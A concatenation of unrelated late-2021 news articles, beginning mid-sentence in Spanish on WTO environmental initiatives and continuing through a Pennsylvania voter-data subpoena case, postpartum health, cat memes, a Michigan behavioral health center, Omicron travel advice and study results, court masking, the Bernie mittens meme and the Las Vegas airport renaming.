ambiental en las diversas esferas abarcadas por la OMC. En una Comunicacion Ministerial sobre el Comercio y la Sostenibilidad Ambiental emitida por los proponentes de los Debates Estructurados en diciembre de 2021 se establece la labor futura de la iniciativa en esferas como el comercio y el cambio climatico, el comercio de bienes y servicios ambientales, la economia circular y las cadenas de suministro sostenibles. Ademas, se fija una Hoja de Ruta para hacer avanzar los debates en 2022. Los copatrocinadores aqui presentes hoy consideran que el desarrollo sostenible y la proteccion del medio ambiente son objetivos fundamentales de la OMC, dijo Arif Virani, Secretario Parlamentario de la Ministra de Comercio Internacional, Promocion de las Exportaciones, Pequenas Empresas y Desarrollo Economico del Canada. Creemos que la sostenibilidad es una cuestion fundamental para el programa de la OMC. Sesenta y siete Miembros de la OMC participan actualmente en el Dialogo Informal sobre la Contaminacion Producida por los Plasticos y el Comercio de Plasticos Ambientalmente Sostenible (Dialogo Informal sobre los Plasticos). El Dialogo Informal sobre los Plasticos, iniciado tambien en noviembre de 2020, tiene por objeto hacer frente al aumento del costo ambiental, sanitario y economico de la contaminacion producida por los plasticos y utilizar el comercio como instrumento para promover el comercio de plasticos ambientalmente sostenible. En una Comunicacion Ministerial del grupo emitida en diciembre de 2021 se establece una hoja de ruta para la labor en apoyo de los esfuerzos mundiales encaminados a reducir la contaminacion producida por los plasticos y la transicion hacia un comercio de plastico ambientalmente sostenible, en la que se enumeran medidas como el intercambio de experiencias en la recopilacion de datos sobre las corrientes comerciales y las cadenas de suministro, el fortalecimiento de la cooperacion en materia de reglamentacion con otros organismos internacionales, la identificacion de politicas y mecanismos comerciales ambientalmente sostenibles y el fortalecimiento de la asistencia tecnica a las economias vulnerables. El Viceministro y Viceministro y Representante Adjunto de Comercio Internacional de China Wang Shouwen dijo que la OMC era el foro adecuado para estos debates. Esperamos que la OMC desempene su papel unico ayudando a los Miembros elaborar medidas comerciales mas coordenadas, coherentes y eficaces y a fomentar los vinculos entre el comercio, el medio ambiente y el desarrollo, a fin de hacer frente a los desafios ambientales actuales, y de dar al mundo un futuro sostenible, dijo. Cuarenta y cinco miembros de la OMC han firmado una Comunicacion Ministerial sobre las Subvenciones a los Combustibles Fosiles emitida en diciembre de 2021.. En esta comunicacion se menciona que las subvenciones ineficientes a los combustibles fosiles fomentan el consumo antieconomico y colocan en situacion de desventaja a las energias renovables. Se senala que esas subvenciones han seguido aumentando constantemente en el ultimo decenio y se estimaban en aproximadamente USD 500.000 millones en 2019. Los proponentes tambien piden la racionalizacion y la eliminacion progresiva de las subvenciones ineficientes a los combustibles fosiles que fomentan el consumo antieconomico con arreglo a un calendario claro. Ademas, alientan al resto de los Miembros de la OMC a sumarse a ese empeno, reconociendo al mismo tiempo que la reforma debe tener plenamente en cuenta las necesidades y condiciones especificas de los paises en desarrollo y reducir al minimo las posibles repercusiones negativas en su desarrollo. Jean-Marie Paugam, Director General Adjunto de la OMC, expreso su esperanza de que los compromisos se sirvan de las contribuciones de las partes interesadas, den lugar a resultados creativos y pragmaticos y se inspiren en la diversidad de los Miembros de la OMC. Conjugando sus esfuerzos en estas tres empresas ambientales, los paises en desarrollo y los paises desarrollados pueden elaborar nuevas soluciones comerciales constructivas que puedan funcionar para todos y salvar cualquier brecha geopolitica o falta de confianza, dijo. Las tres iniciativas ofrecen el enorme potencial de ser un gran laboratorio para algunos aspectos de la OMC del futuro. Su alocucion completa puede consultarse aqui The lawyers have argued and now a panel of Commonwealth Court judges will decide if data on 9 million voters will be turned over to a Senate committee. A five-member court panel heard over two hours of arguments Wednesday afternoon that mostly centered on whether voter data requested by the Intergovernmental Operations Committee in September poses a risk that far outweighs constitutional privacy rights. The committee on Sept. 15 held a party-line vote issuing 17 subpoenas to the Department of State for, among other things, data on all voters, including their drivers license numbers and partial social security numbers. A voter casts his vote inside the Herbert Hoover Elementary School in Langhorne, on Tuesday Nov. 3, 2020. Arguments on multiple lawsuits aiming to stop a Republican-led audit of the 2020 general election and May 2021 municipal primary will be heard at 2 p.m. Wednesday streamed on the Commonwealth Court's YouTube channel. The subpoenas saw near immediate legal challenges from Senate Democrats and Attorney General Josh Shapiro, who filed petitions to quash the subpoenas over privacy and jurisdictional concerns. Common Cause Pennsylvania, the League of Women Voters of Pennsylvania, Make the Road Pennsylvania and the eight voters were also granted party status in Shapiros lawsuit near the end of October. The goal for the committee has been to perform a forensic audit of the November 2020 general election and the May 2021 primary to restore faith in Pennsylvanias election. GOP members voted late last month hiring Iowa-based Sage Envoy, which has no prior experience investigating elections, to conduct the audit for $270,000 on a six-month contract which could be extended due to litigation. Committee Chair Sen. Cris Dush, R-Jefferson, has said previously the information will be used "to cross match and verify whether or not our voter registration system has duplicate voters, dead voters, and/or illegal voters." Dush, Senate President Pro Tempore Jake Corman and Parliamentarian Megan Martin have since been named in multiple lawsuits filed to stop the subpoenas from moving forward. Interveners get party status: PA judge grants voters party status in election audit lawsuit Voters send message to GOP and Dems: Bucks County voters sent a message at the polls. Will Democrats, Republicans listen as they eye 2022? Story continues Michael Fischer, a chief deputy attorney general representing the state department, said the committees data request was an extremely attractive target for hackers to be turned over to a relatively unknown firm without a detailed plan to keep that data secure. Fischer also said that the state department has made available similar data to contractors in the past, that access comes with extraordinary security measures. When its shared with our contractors, first of all, those contractors go through a lengthy (bidding) process and the department knows who exactly will be accessing that data down to the individual, Fischer said. Clifford Levine, an attorney representing the Democratic Caucus, added that the committee appeared to be doing a fishing expedition to curry political favor from former President Donald Trump and his supporters who continue to doubt that President Joe Biden won the election fairly. Matthew Haverstick, attorney for Dush, Corman and the committee, said the subpoenas are a records request, intra-government in the commonwealth. This happens all of the time. Haverstick said the ultimate legislative purpose of the committee is to refine laws like Act 77, which effectively expanded the absentee ballot process to include no excuse mail ballots to any voter in Pennsylvania. They dont want the Senate to have it because they dont like the legislation that might come out of it, Haverstick added. While jurisdiction and purpose will be major considerations for the court as they deliberate, the voters rights groups and voters intervening Wednesday have made privacy the top of their concerns in this case. Attorney Keith Whitson said one of the biggest problems in the subpoena is that it violated a reasonable expectation of privacy by people who registered to vote, specifically that certain information wouldnt be shared. The judges will determine if sharing information between two branches of government violates that expectation, Whitson added that there other ways the committee could have gone about investigating potential flaws in the states voter registration system. One example Whitson pointed to was to request names and dates of birth, which can be obtained through the state departments voter export online, and check for duplicate entries. The judges also seemed to wonder if a hearing might be more appropriate instead of a summary judgement regarding the risks of identity theft. It didnt appear that the judges doubted claims by most of the attorneys that the data could leak, but more so that the risks were being presented as a matter of fact without expert testimony. Although only attorneys spoke during Wednesdays hearing, four of the eight voters pushing back on the subpoenas talked about those concerns during a press conference organized by the American Civil Liberties Union of Pennsylvania Tuesday. Bucks County voters Michael and Kierstyn Zolfo were among four of the voters involved in the case speaking at a press conference organized by the ACLU on Tuesday morning. Im surprised about the partisanship of this situation. I dont think its a Republican and Democrat issue, its just not appropriate to be getting our personal information in this regard, Michael Zolfo, a lifelong Republican and a former health care technology consultant. From a professional perspective, I know even the best plans can go wrong and theres always a chance something can go wrong intentionally or unintentionally, he added. Kierstyn Zolfo reiterated past statements that she has had chronic medical conditions for years that require multiple high-cost medications she relies on to lead a somewhat normal life. If you have those last four digits of my social security number, you could call and reroute the address that those prescriptions are going to be sent to, Kierstyn Zolfo said Tuesday. Robin Roberts, a Democrat from Philadelphia, added the risk of identity theft meant the risk of little legal recourse if the data fell into the wrong hands. When someone illegally accessed our bank account information, it was up to us, my husband and myself, to find and fight all of the charges to get our money back, to find the offender, to supply that information to the police and then nothing happened, Roberts said. Roberts also said the audit could also negatively impact Black voters like her and other underserved communities she said have been historically subjected to voting rights violations. The latest demand is a huge overreach to our right to privacy, and there is no clear rationale to what this information is going to be used for, Roberts said. Ben Bowens, another Democrat from Philadelphia, added that the audit could turn people away from voting, describing it as un-American, almost. ACLU PA Legal Director Vic Walczak also said Tuesday he expected the courts ruling not to come until at least early 2022. This article originally appeared on Bucks County Courier Times: Court panel weighs privacy rights in PA GOP's subpoena of voter data An upset infant boy is comforted by his loving mom. The woman is walking him in their home. Getty Images So much of pregnancy is planningpregnancy announcements, baby names, baby showers, and birth plans. It's easy to forget that the planning doesn't stop once the baby arrives, it's just beginning. The fourth trimester isn't something new parents are often taught about upfront, but they should be. Too often, new moms are left to figure out how to healand how to take care of a new babyalone. New mother and medical student Korrine Sky was confronted with this gap in information, and the overwhelming feeling of being unprepared, after she gave birth in March. Though her pregnancy went smoothly, she felt under-informed. "I had written things down during the course of my pregnancy because I didn't share my pregnancy with anyone, mainly because I was really overwhelmed with fear and anxiety," says Sky, a second-year medical student who lives in Ukraine and the United Kingdom. RELATED: 'Fourth Trimester' Was Added to the DictionaryHere's Why That Matters In early December, her thread, "Postpartum: all the sh*t nobody tells you," went viral. In it, she addressed rarely-discussed experiences like itching that can happen after having an epidural, pain after C-sections, breastfeeding, and postpartum hair loss. Almost instantly, the thread was retweeted more than 27,000 times and nearly 60,000 people liked it. The public response proves that these experiences are common and that new and expectant moms want to be informed about all of the possible challenges they may face. Postpartum : all the shit nobody tells you - a thread Koko (@korrinesky) December 4, 2021 This isn't the first time one of Sky's Twitter threads went viral. In May, a thread about the challenges Black moms face as they're giving birth amassed thousands of likes and retweets. Sky says she felt uniquely compelled to teach other moms about these disparities. "During my pregnancy a lot of Black women who were pregnant around the same time as me died, '' she says, naming content creator and dancer Nicole Thea and nurse Mary Agyapong who both died shortly after giving birth. Story continues Pregnancy can be nerve-wracking for Black moms, especially when Black maternity is rarely discussed outside of crisis. Unfortunately, those risks don't disappear after delivery. Jaleen Sims, a board-certified OB-GYN at Jackson-Hinds Comprehensive Health Center in Jackson, Mississippi says people should know they are not out of the "woods" just because they've given birth. She says conditions like preeclampsia, peripartum cardiomyopathy, and mental health conditions like baby blues, depression, and psychosis are all still concerns. "Things to look out for are vision changes, headaches, unresolved by Tylenol/ibuprofen, pain under the right breast, seizure-like activity, shortness of breath, leading to sleeping on more pillows than normal, frequent crying spells, and significant mood swings," says Sims. Online, Twitter users commented on Sky's thread about their own experiences with the physical and emotional changes of parenthood. Many report loneliness and feeling overwhelmed. But Sims says having support can help mitigate some of the risks associated with the fourth trimester. Trying to "get back to normal" too soon after giving birth can lead to mental health concerns and elevated blood pressure. Services like childcare, meal delivery and therapy can help ease burdens on new parents, especially those who are facing postpartum in combination with other medical issues. "If someone has medical concerns that were present prior to pregnancy, like diabetes, high blood pressure or depression, there's an increased risk," Sims says. She suggests that new parents with these kinds of preexisting conditions connect with their regular care providers as soon as possible after birth. Sky is hoping to be able to help more women once she is an OB-GYN. She has already received her doula certification and, in the meantime, she's using her platform to spread awareness on aspects of birth and postpartum. She's also sharing birth plan templates to help new parents advocate for themselves. There's so much expectant and new parents have to learn. Threads like Sky's give them a head start. We at Daily Paws are of the sound belief that looking at animals on the internet is not only the best job ever (e-v-e-r), but also a huge stress reliever. This scientific study backs that last point 110 percentin fact, research states that cat memes and videos give us feelings of happiness, hope, and renewed energy, and also reduce our anxiety, annoyance, and sadness. Bam! Wins all around. So while we can't present every single one of the funniest cat memes of 2021, we've cultivated a few that made us snort and thus, hopefully brighten your day as well. funniest cat memes of 2021 kittens with bernie sanders mittens Courtesy of patronsaintofcats / Twitter Vibing Cat TikTok user @micklagi first posted his friend's kitty Minette jammin' to the Jonas Blue EMD song, "I Wanna Dance" in 2020 (That dumpster fire year? Like we would have noticed). Since then, it's broken the internet as a wildly-popular cat meme, an emoji and a gif known as CatJAM, and in thousands of beatastic vids, like this one with talented street performer Levan Pollka. Vibing Cat: symbolic of our need to shake off 2020 and just shut up and dance in 2021. "I'm Not a Cat." Still plenty of web-conferencing Zoom happenings in 2021 and with them, many laughable mishaps. Texas lawyer Rod Ponton, a county attorney, gained instant internet fame when a cute kitten Zoom filter popped up instead of his face during a hearing. Havoc ensued, but only temporarily, and now we're all in on the joke and the merch, like cookies! Sad Cat With Wine Just when we thought the anguish of 2020 was over, nearly 8 million people could relate to TikTok poster annaolala's forlorn feline, slacked-gazed into a rather full glass of (cat?) wine pondering the meaning of life in 2021. Related memes and gifs abound. Bernie with Mittens and Kittens The #BernieSanders meme combined with kittens may just be perfection pic.twitter.com/akDxU1H6ZA patronsaintofcats (@patronsaintofca) January 22, 2021 We don't have the exact stats, but we're rather confident that Vermont Senator Bernie Sanders at President Joe Biden's inauguration was the one meme to rule them all in 2021. Once New Yorker writer Rachel Syme tweeted the singular shot of Bernie and his infamous mittens from the event, the 'net cracked open. This isn't the only funny cat meme to feature Bernie, but it's as close to purrfection as any. Story continues "The Boy" When TikTok maven june_banoon crooned a happy hello to "The Boy"a wandering neighborhood cat called Mashed Potatoesthe interwebs went wild. More than 6 million views, numerous duets and reaction mashups (hehsee what we did there?) like this snazzy number and this luscious piece, and some hilarious, uh, copycats. Originally thought to be a stray, he has a happy home where he's known as Johnny, and seems totally oblivious to his fame. Ricky the Liquid Cat Without a doubt, there are times when kitty liquidity would come in handyto perform magical escape acts, for example. Though TikTok user @rlynneg's freakishly-fluid cat oozing down the stairs is more reflective of how we feel e-v-e-r-y morning. Ricky the orange and white tabby is definitely having his own 'no bones' day! We feel you, sir. Merlin the New Grumpy Cat Picking up where Grumpy Cat (RIP, Grumpy!) left off is the ragdoll curmudgeon, Merlin. Like many Instagram superstars, supposedly his online persona doesn't reflect his true soft-purring and lovable self. The plushie seems to be a too-cool hint at both. Walter It's the slow paw stroke that gets you. Walter.the.catt captivated more than 6 million viewers on TikTok with his appreciation of new neckwearnot a sparkly collar, mind you, but a sleek new tie. In the video, Walter is such a handsome fashion-forward feline, and when he smoothes it down, it's evident that he knows he's looking chic. We could totally see him in a poster sporting a sophisticated sweater and tie ensemble and some vague inspirational workplace message like, "Plan your work and work your plan." RELATED: Cats Who Made Us Laugh the Hardest in a Crazy, Terrible Year An artist's rendering of the Justin A. Borra Behavioral Health Center in Cheboygan, which is slated to open in late 2022 on the Cheboygan Campus of McLaren Northern Michigan. CHEBOYGAN Cheboygan City councilwoman and immediate past president of the Cheboygan Rotary Club Diane Raab described herself as "Cheboygan's biggest fan." Raab, who is also a social worker, said she was simply ecstatic upon hearing the news that McLaren Northern Michigan is addressing the need for behavioral health services in the region. "I was just ecstatic when I heard this because it's such a desperate need," Raab said Monday as McLaren Northern Michigan officials announced plans of developing the Justin A. Borra Behavioral Health Center at the McLaren Northern Michigan Cheboygan Campus. "It will bring not only jobs, but support and treatment for people in our community. They won't have to go hundreds of miles away anymore, and it will probably bring people from other communities that need the expertise of mental health practitioners and providers that will be working here. "I can't thank McLaren enough for utilizing this facility for that kind of service," Raab added. "It's priceless in my estimation." With funding from the State of Michigan via a state enhancement grant and from various donors who contributed to the project, plans are moving forward to renovate the McLaren Northern Michigan Cheboygan Campus to house a new 16-bed adult inpatient behavioral health unit and partial hospitalization program. Construction on the new health center, which will include the 16-bed Pulte Family Foundation Adult Inpatient Behavioral Health Unit, is slated to begin this week and take approximately 12 months to complete, according to McLaren Northern Michigan President and CEO Todd Burch. When operating at full capacity, the center will have approximately 50 staff providing mental health services in the Cheboygan community. "A critical factor for providing behavioral health will be securing the necessary staff and team members needed to run and manage this facility on a daily basis," Burch said. "We've already begun the recruitment process for the next 10-12 months hiring physicians, nurses, social workers and support staff to adequately run this organization." Story continues Planned to open in late 2022, the renovated 11,000 square-foot unit will offer a healing environment for individuals experiencing mental health related disorders, including depression, anxiety, bipolar disorder and thought disorders such as schizophrenia, Burch said. "This much needed service will draw patients and their families from all over the State of Michigan to receive services in the Justin A. Borra Behavioral Health Center," Burch said. "Two years ago Sen. Wayne Schmidt and I began planning for this at Chandler's (restaurant in Petoskey) and in two years a lot has happened." Burch said McLaren's plans for the center were developed with input from local law enforcement, community mental health agencies, care providers and physicians. "You're probably familiar with MiThrive Community Health Assessment, which asks residents what their top health concerns are," Burch said. "In the last three surveys, access to mental health resources has been at the top of the list." Todd Burch (above, center), president and CEO of McLaren Northern Michigan, speaks at a press conference Monday at the McLaren Northern Michigan Cheboygan Campus of the hospital's plans to build a behavioral health unit and partial hospitalization program in Cheboygan. The new behavioral health center and services offered will provide a continuum of care the help address the local and regional behavioral health crisis. According to McLaren Northern Michigan, their two emergency departments saw 892 behavioral health patients in 2020. Dennis Hesselink, incoming board chair of McLaren Northern and founder of Encore Financial Group which is located in Cheboygan, said according to the National Institute of Mental Health, one in five people will have a problem with mental health. "Recently, with the pandemic, we have seen up to 40% of people who are affected by this, which puts a huge strain on hospitals and emergency rooms," Hesselink said. "The pandemic again has exacerbated this and here in Northern Michigan, the same is true with other hospitals in the area where often people have to wait days, and often weeks to take a person from the emergency room to a facility, which is also an issue." Hesselink said psychiatric beds simply are not available, and often patients are not only transferred out of the area, but at times out of state. "This is very difficult when it comes to taking care of these patients," Hesselink said. "Because their family members are those that need to be there to help these people as a main support team. Mental health inpatient beds are very scarce throughout the state, and in the northern region that are almost non-existent." According to data from McLaren, the entire state has just over 3,000 licensed psychiatric inpatient beds with only 35 licensed adult beds in the 22 counties that McLaren Northern Michigan services. "This is a serious issue we have in Northern Michigan," Hesselink said. "We will bring behavioral health to a new level in Northern Michigan to our people. As a local business person, I'm excited. There's many people here in our community that need help and this will give us a lot of benefits for the City of Cheboygan, it will give a lot of benefits to the local community and again it will give benefits to those in need." McLaren Northern Michigan president and CEO Todd Burch (front) and Michigan State Rep. John Damoose of Harbor Springs (right) knock down a wall as construction began Monday to build an inpatient behavioral health unit and partial hospitalization program at the Cheboygan Campus. Burch said another aspect of the behavioral health center plan is the development of the McDonald Partial Hospitalization Program. This day program will provide intervention to prevent inpatient psychiatric hospitalization and provides a transition for patients stepping down from 24-hour inpatient care. Burch added the partial hospitalization program will be open Monday through Friday to adults, with the average stay of being between 5-10 days. "A typical day consists of individual and group therapy, medication management, behavioral education, skill building and periodic evaluation," Burch said. Burch noted plans are also to add two psychiatrists and two psychiatric nurse practitioners to help staff all three units of the center, which also includes outpatient offices in the medical office building on the Cheboygan Campus. McLaren Northern Michigan received a $3 million State of Michigan enhancement grant to support facility renovations on the Cheboygan Campus for the inpatient behavioral unit. Donors also have come forward with an additional $4.3 million with lead gifts coming from Pier and Renee Borra, the Pulte Family Foundation and Patrick H. McDonald. "We are so grateful to these and other donors who have stepped up to support this important project," said Julie Jarema, chief philanthropy officer of the McLaren Northern Michigan Foundation. "Our community will be better served because of their generosity." McLaren Northern Michigan announced earlier this week plans to build an inpatient behavioral health unit and partial hospitalization program at the Cheboygan Campus. The Justin A. Borra Behavioral Health Center is slated to open in late 2022. State Rep. John Damoose of Harbor Springs said he was proud to be a part of Monday's announcement. "It's so nice to be part of something that's genuinely good news here," Damoose said. "Cheboygan is so full of life and there's something special happening here. Traveling around our district, I had no idea the significant problem mental and behavioral health has become, especially in the light of COVID. We see so many dealing with depression and thoughts of suicide, anxiety and substance abuse." Michigan State Sen. Wayne Schmidt of Traverse City, who was instrumental in helping McLaren Northern Michigan secure the state enhancement grant, said he has seen the need for behavioral and mental health services since the state hospital closed in Traverse City years ago. "For Cheboygan, there will be more jobs here, which is great," Schmidt said. "There are great practitioners here, social workers, nurses, psychologists and psychiatrists, but we needed more beds and more physical capacity and with the work McLaren did, I just did my job and it was my job to bring home that money and make sure it got funded. "We got the job done." For more information regarding the Justin A. Borra Behavioral Health Center, visit www.mclaren.org/BehavioralHealthNews. This article originally appeared on The Petoskey News-Review: McLaren Northern Michigan announces plans to build inpatient behavioral health unit in Cheboygan Ottawa is advising Canadians to avoid all non-essential travel outside of Canada as cases of COVID-19 increase and concerns about the Omicron variant continue to mount. The federal government announced the decision at a press conference on Wednesday. Health Minister Jean-Yves Duclos also said the government will increase testing capacity at the border but did not provide additional details, saying that further announcements regarding testing will be made soon. To those who were planning to travel I say very clearly now is not the time to travel, Duclos said at the press conference on Wednesday, warning that travelling Canadians could contract the virus or get stranded abroad. The rapid spread of the Omicron variant on a global scale makes us fear the worst for Canadians that may think of travelling. Duclos said the advisory will be in place for four weeks, at which point the government will reassess the situation. We know that this may sound very drastic to many listening, but we must avoid overloading our hospital system and our health care workers, he added. Ottawa is also sending an additional 35 million rapid tests to provinces and territories, and said 16 million vaccine doses are currently available, with more being delivered over the next several weeks. WestJet in 'strong opposition' to advisory WestJet released a statement Wednesday saying the airline is in "strong opposition" to the travel advisory and that it "is not based on science and data and significantly undermines aviation's proven safety record in response to COVID-19." The airline also called the measure "a setback in Canada's progress and its successful transition away from relying on blanket advisories and policies." "Travel bans, restrictions and blanket advisories are devastating to the continued economic recovery of our country and place tens of thousands of recently recalled Canadian travel and tourism jobs at risk," WestJet chief executive Harry Taylor said in a statement. Story continues "We are very concerned today's announcement will create unnecessary disruption and chaos in advance of the holiday travel season." The government introduced a series of travel restrictions at Canada's borders in response to the Omicron variant at the end of November. All air travellers coming into Canada from outside of the U.S. are now required to be tested and isolate upon arrival. Previously, travellers were required to provide a negative PCR test up to 72-hours before departing for Canada. That requirement is still in place, in addition to the new testing requirement upon arrival in Canada. Concerns about the Omicron variant, which was first reported in South Africa on Nov. 24, have led to a reintroduction of many travel restrictions around the world. The travel advisory comes as governments across the country reintroduce restrictions and accelerate the rollout of booster shots in the wake of the Omicron variant. On Wednesday, Ontario Premier Doug Ford announced that all adults over the age of 18 will be eligible for a booster shot of a COVID-19 vaccine as of Monday Dec. 20. Ford also said that as of Saturday, any venue with a capacity of more than 1,000 including stadiums, concert venues and large event spaces will be capped at 50 per cent. Alicja Siekierska is a senior reporter at Yahoo Finance Canada. Follow her on Twitter @alicjawithaj. Download the Yahoo Finance app, available for Apple and Android. The new omicron variant of the coronavirus is substantially more contagious and reduces the effectiveness of COVID-19 vaccines, a study from South Africa released Tuesday found. Even though the variant so far seems to produce mostly mild disease, world health leaders warned it could bring a wave of illness that crushes health systems "Omicron is spreading at a rate we have not seen with any previous variant," said Dr. Tedros Adhanom Ghebreyesus, director-general of the World Health Organization. "We underestimate this virus at our peril," he said in a news conference Tuesday from Geneva. "Even if omicron does cause less severe disease, the sheer number of cases could once again overwhelm unprepared health systems." Early data from South Africa appears to show that people who are fully vaccinated are still largely protected against severe disease, according to early data released Tuesday by Discovery Health, South Africa's largest private health insurer. The omicron variant, which was first identified in southern Africa, appears poised to take over the world, as delta did before it. Omicron accounts for 90% of COVID-19 cases in South Africa and is a growing problem in Europe. It has now been found in 77 countries, Ghebreyesus said. It has been seen in at least 30 U.S. states, though the delta variant still dominates the American outbreak. Formally identified the day before Thanksgiving, information on omicron's characteristics including how contagious and dangerous it may be are just emerging. The new study from Discovery Health shows that two shots of the Pfizer-BioNTech vaccine, which provided more than 90% protection against the original virus, is only 33% protective against omicron infection. Full vaccination continues to provide 70% protection against severe disease, which seemed to hold up across high-risk groups, though it declined somewhat in people over 60 and even more in those over 70. Story continues "This is the first time we've had any data on that," said Dr. Eric Topol, vice president for research at Scripps Research in La Jolla, California, and a national expert on the use of data in medical research. "Seventy percent is definitely a dropdown. It isn't great," he said. "It was 95% effective severe disease when it was delta variant and then about 85% after six months of waning," he said. Whether those numbers will continue to hold as more patients with omicron are studied isn't yet clear, he said. "This is all still so new." People queue to get a coronavirus booster jab at St Thomas' Hospital, backdropped by the scaffolded Elizabeth Tower, known as Big Ben, and the Houses of Parliament, in London, Monday, Dec. 13, 2021. Long lines formed at vaccination centers in Britain as people heeded the government's call for all adults to get booster shots to protect against the omicron variant of the coronavirus, which the prime minister said Monday has caused at least one death. (AP Photo/Matt Dunham) Other research from Pfizer-BioNTech suggests that a third, booster dose can restore the original levels of protection at least for some period of time. The Omicron-driven fourth (wave) has a significantly steeper trajectory of new infections relative to prior waves," Dr, Ryan Noach, CEO of Discovery Health, said in a statement. "National data show an exponential increase in both new infections and test positivity rates during the first three weeks of this wave, indicating a highly transmissible variant with rapid community spread of infection. Mild but dangerous WHO officials chided nations that are focusing on offering boosters to their citizens while ignoring the lack of vaccines globally. "The priority in every country and globally must be to protect the least protected, not the most protected," Tedros said. Vaccine for poor countries has dealt with many setbacks over the past year, brought on by export restrictions, vaccine hoarding and regulatory delays, COVAX, the global vaccine alliance, said in a statement Tuesday. However, supply has increased since September. Even if mild, omicron could easily overwhelm health systems even in highly developed nations said Dr. Michael Ryan, Executive Director of the WHO Health Emergencies Programme. "If you have a huge wave of cases, you will see a lot of severity and you will see hospital systems coming under pressure," he said. He warned already stressed heath systems may fail, and urged they prepare now. "Make sure you have the health workers in place, make sure you have the clinical trials in place. Make sure you've got oxygen supplies in place. Make sure that you're vaccinating the unvaccinated," Ryan said. "Make sure you're taking every opportunity individually and at the community level to stop transmission where you can." The omicron variant is fueling misinformation about COVID: Experts explain why and how to spot false claims. Omicron appears able to reinfect people who caught an earlier variant of the virus, and those infected longer ago are at higher risk of reinfection. People infected in South Africa's first wave early last year, have a 73% chance of reinfection, while those infected with the beta variant have a 60% chance of reinfection and those infected in its most recent delta wave face a 40% risk of reinfection with omicron, the new study showed. That fits with findings from a preliminary briefing released by the United Kingdom on Friday showing an approximately three- to eight-fold increased risk of reinfection with the omicron variant, Topol said. There has been some hope that omicron would cause fewer cases of severe disease than its predecessors, but that remains unclear. The rate of hospital and intensive care unit admissions is lower than with other variants 29% lower than with the first wave of infections early last year, according to the study. But that may be because so many South Africans recently recovered from infections with delta, Noach said. People walk by groups of people lined-up to get tested for COVID-19 in Times Square in New York City. With the newly discovered omicron variant, health officials are urging people to get vaccinated. Children continue to show a relatively low rate of infection with omicron, as they have with earlier variants, the study showed. Children infected with omicron have so far had a 20% higher risk of hospital admission for complications than they did with earlier variants, according to Shirley Collie, chief health analytics actuary at Discovery Health. This is early data and requires careful follow up," Collie said in a company press release. But the finding lines up with an earlier warning from South Africas National Institute for Communicable Diseases of an increase in hospital admissions for children under 5. Omicron is here: How to manage your anxiety about the new variant Anecdotal reports from South African hospitals suggest that most young children hospitalized with COVID-19 tested positive on routine screening, after going to the hospital for an unrelated reason. "It's a peculiarity that hasn't been explained," Topol said of the high rate of hospital admissions for children. "It hasn't yet been seen in the United Kingdom, Denmark, Norway and other places hard hit by omicron." Collie said, Children were 51% less likely to test positive for COVID19 relative to adults in the Omicron period, and overall, the risk of children being admitted to hospital for COVID19 complications remains low. The world shouldnt focus only on the early data coming out of South Africa and the United Kingdom showing omicron might be milder, because when omicron gets to different populations it might behave differently, said Dr. Abdirahman Mahamud, WHO COVID-19 incident commander. Even if omicron does prove to be milder, delta remains a threat. We are caught between two elephants, the delta and the omicron, he said. These are massive, angry elephants. Contact Elizabeth Weise at eweise@usatoday.com Contact Karen Weintraub at kweintraub@usatoday.com. Health and patient safety coverage at USA TODAY is made possible in part by a grant from the Masimo Foundation for Ethics, Innovation and Competition in Healthcare. The Masimo Foundation does not provide editorial input. This article originally appeared on USA TODAY: COVID omicron variant is 'highly transmissible': South Africa study St. Joseph County judges have ordered the resumption of COVID-19 restrictions as the county's infection rate has recently risen. SOUTH BEND St. Joseph County judges have reinstated an order requiring people to wear masks in the countys four court buildings because of the countys rising COVID-19 infection rates. The order, which took effect Monday, applies to the three courthouses in downtown South Bend and the one in Mishawaka. Chief Superior Court Judge Elizabeth Hurley said she made the call with Circuit Judge John Broden, after consulting with the countys other Superior Court judges. In addition to mandatory mask wearing, signs have been posted on the buildings saying that access to court facilities is limited to attorneys and parties required to attend emergency, in-person hearings and individuals seeking emergency protection orders. They also state that no visitors or children are allowed in the courtrooms. More: COVID pushes northern Indiana hospitals past capacity It's the first local COVID-19 precautions in the courts since judges suspended trials and most in-person hearings in March 2020 and extended the order through November 2020. Trials resumed in March 2021. As of Monday, the county had 571.3 new COVID-19 cases per 100,000 population in the past seven days, with a 16% testing positivity over those seven days. Both metrics placed the county in the red high transmission/risk category tracked daily by the county health department. This article originally appeared on South Bend Tribune: St. Joseph County judges resume masking restrictions as COVID rises It's the iconic image that instantly went viral in January Sen. Bernie Sanders seated at President Joe Biden's inauguration, wearing a light blue surgical mask, with his legs crossed and his hands crossed on his knees, sporting boldly patterned mittens that once seen, could never be forgotten. Sure enough, "Bernie Mittens" topped the list of searches for internet memes in 2021, according to data just published by Google Trends. Vermont led the way on searches for the Bernie meme, followed by North Dakota, Montana, Maine and New Hampshire. The pose Sanders struck that day on the inauguration stage also led to an appearance on Seth Meyers, a tribute by Darn Tough socks and a re-launch by Vermont Teddy Bear of the mittens originally created by elementary school teacher Jen Ellis. The best-selling Bernie Bobblehead transformed into an ornament. "Everybody who wants these mittens, will get them," Ellis said in February. "And they will have my seal of approval." But it didn't end there. Outright Vermont raised nearly $20,000 from a pair of the mittens donated by Ellis. There was a snow sculpture in Winooski. And the National Bobblehead Hall of Fame and Museum sold scads of Bernie bobbleheads, creating five versions that went on to sell nearly 30,000 copies, making it the second best-selling bobblehead in the museum's history, behind the Dr. Anthony Fauci Bobblehead. The success of Sanders' bobblehead led to a $10,000 donation to Meals on Wheels Vermont. In case you were wondering, the remaining memes in the top 5 searches for 2021 were: Hamster Twisted tea Squid Game Sheesh Contact Dan DAmbrosio at 660-1841 or ddambrosio@freepressmedia.com. Follow him on Twitter @DanDambrosioVT. This coverage is only possible with support from our readers. This article originally appeared on Burlington Free Press: Google's Top Meme 2021: Bernie's mittens and Biden's inauguration Las Vegas Airport officially changed its name on Tuesday to Harry Reid International Airport, 73 years after being named for Nevada's Sen. Patrick McCarran. In February, the Clark County Commission unanimously approved renaming the airport after reports of McCarran's "history of perpetuating racism, xenophobia and antisemitism" began to surface, The Associated Press reported. The airport had been named after McCarran since 1948, due to the senator's reputation as a vocal advocate for the aviation industry. "Immediate changes will be noticeable on the airport's social media channels and other digital presences; however, travelers should expect to see the former airport name in various locations as this transition continues," the airport wrote in a Facebook post. "A project of this magnitude will take time to complete, and changing of the signage and monuments surrounding the airport will occur as bids are sought and vendors identified to perform the work." Earlier this year, the county voted to name the airport after Reid, Nevada's longest serving senator (who served from 1987 to 2017). Reid was not present at the naming ceremony held on Tuesday, although members of his family were in 